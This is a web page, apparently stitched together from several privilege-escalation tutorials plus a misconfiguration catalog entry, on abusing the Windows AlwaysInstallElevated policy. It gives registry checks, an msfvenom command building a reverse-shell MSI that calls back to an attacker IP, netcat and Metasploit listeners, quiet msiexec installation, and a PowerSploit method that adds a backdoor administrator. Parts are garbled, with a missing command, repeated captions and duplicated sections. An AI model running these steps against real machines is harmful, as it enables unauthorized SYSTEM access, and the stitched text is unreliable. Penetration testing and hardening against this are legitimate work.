Always install with elevated privileges exploit

If the two registry keys liosted below are present and both equal "0x1", then we can exploit these permissions to spawn a reverse shell using a specially crafted MSI file.

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate the malicious MSI file like so,

msfvenom -p windows/meterpreter/reverse_tcp lhost=(ATTACKER IP ADDRESS) lport=(ATTACKER PORT) –f  msi > install.msi

STart the listener using the exploit/multi/handler module on the correct port, and infiltrate the MSI file to the target system. Then, simply install it with the following command,

View the security misconfiguration catalog

  • Misconfiguration Name
  • "Always install with elevated privileges" is not disabled
  • Description
  • "Always install with elevated privileges" must be disabled as it allows a standard user to install a Microsoft Windows Installer Package (MSI) with system privileges. This can be exploited by an attacker in order to escalate his privileges to gain control over system and perform malicious acts.
  • Category
  • Account Privilege Management
  • Resolution
  • Follow the below steps in GPO to resolve the misconfiguration. Configure the policy value for Computer Configuration >> Administrative Templates >> Windows Components >> Windows Installer >> "Always install with elevated privileges" to "Disabled".
  • Does remediation require reboot?
  • No

Windows environments provide a group policy setting which allows a regular user to install a Microsoft Windows Installer Package (MSI) with system privileges. This can be discovered in environments where a standard user wants to install an application which requires system privileges and the administrator would  like to avoid to give temporary local administrator access to a user.

From the security point of view this can be abused by an attacker in order to escalate his privileges to the box to SYSTEM.

Identification

Lets assume that we have already compromised a host inside the network and we have a Meterpreter session.

Always install with elevated privileges exploit
Meterpreter Session – Normal user

The easiest method to determine if this issue exist on the host is to query the following registry keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Always install with elevated privileges exploit
Query the registry to identify the issue

Privilege Escalation with Metasploit

The easiest and the fastest way to escalate privileges is via the Metasploit Framework which contains a module that can generate an MSI package with a simple payload that it will be executed as SYSTEM on the target host and it will be removed automatically to prevent the installation of being registered with the operating system.

Always install with elevated privileges exploit
Exploitation of Always Install Elevated with Metasploit

Generate MSI Package with PowerSploit

PowerSploit framework contains a script that can discover whether this issue exist on the host by checking the registry entries and another one that can generate an MSI file that will add a user account into the local administrators group.

Always install with elevated privileges exploit
PowerSploit – Always Install Elevated

 

Always install with elevated privileges exploit
Adding an account into Administrators group

The verification that this user has been added into the local administrator group can be done by running the “net localgroup administrators” command from the command prompt.

Always install with elevated privileges exploit
Verification that the “backdoor user has been created

Conclusion

Metasploit Framework can be used as well to generate MSI files however the payload will be executed under the privileges of the user running it which in most of the cases it shouldn’t be the administrator. Therefore the PowerSploit script was the only reliable solution to escalate privileges properly.

The Windows installer is a utility which through the use MSI packages can install new software. The AlwaysInstallElevated is a Windows policy that allows unprivileged users to install software through the use of MSI packages using SYSTEM level permissions, which can be exploited to gain administrative access over a Windows machine.

This option is equivalent to granting full SYSTEM rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.

The Attack

If a machine has the AlwaysInstallElevated policy enabled, an attacker could craft a malicious .msi package and run it using SYSTEM level privileges, therefore executing arbitrary code as SYSTEM.

For this attack to work, the “AlwaysInstallElevated” value in following Registry keys has to be set to 1:

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

Example

The first step is to check whether the required registry keys are enabled:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Always install with elevated privileges exploit

This can also be checked with automated scripts such as WinPEAS:

winpeas.exe quiet systeminfo
Always install with elevated privileges exploit

For this example, a reverse shell can be generated using MSFvenom, with the following flags:

  • -p to specify the payload type, in this case the Windows reverse TCP shell
  • LHOST to specify the local host IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format, in this case msi
Always install with elevated privileges exploit

Transferring the shell.msi file to the Windows victim machine using the Python web server and the Windows Certutil utility.

Always install with elevated privileges exploit

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on
Always install with elevated privileges exploit

The following command can then be used to install the .msi file:

msiexec /quiet /qn /i file.msi

The flags used are for the following:

  • /quiet – quiet mode, which means there’s no user interaction required
  • /qn – specifies there’s no UI during the installation process
  • Specifies normal installation
Always install with elevated privileges exploit

Once the package is installed, the malicious code is executed, granting SYSTEM level access to the system through a reverse shell.

Metasploit Exploitation

This vulnerability can also be exploited by using the always_install_elevated Metasploit module.

Once a meterpreter shell is obtained, all that is required is to brackground the session, search for and set the module, set the session value and run it:

Always install with elevated privileges exploit

This has granted a SYSTEM level shell. Always try and perform the attack in a manual fashion first, especially when practicing it for the first time.

Conclusion

Because this policy permits users to install applications that require access to restricted directories and registry keys system administrators should consider whether it provides users with an appropriate level of security.

When it is not set, applications are instead installed using the user’s privileges and only managed applications get elevated privileges.

What is always install with elevated privileges?

"Always install with elevated privileges" must be disabled as it allows a standard user to install a Microsoft Windows Installer Package (MSI) with system privileges. This can be exploited by an attacker in order to escalate his privileges to gain control over system and perform malicious acts.

How do I install software with elevated privileges?

To install software using Privilege Management:.
Right-click on the application you want to install..
Select Run as administrator for.exe files or Install for . ... .
Confirm Execution by Entering the Business Justification for Installation..

What is privilege escalation vulnerability?

Privilege escalation attacks exploit weaknesses and security vulnerabilities with the goal of elevating access to a network, applications, and mission-critical systems. There are two types of privilege escalation attacks including vertical and horizontal.

Why is privilege escalation necessary?

A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviors, design flaws or oversights in operating systems or web applications.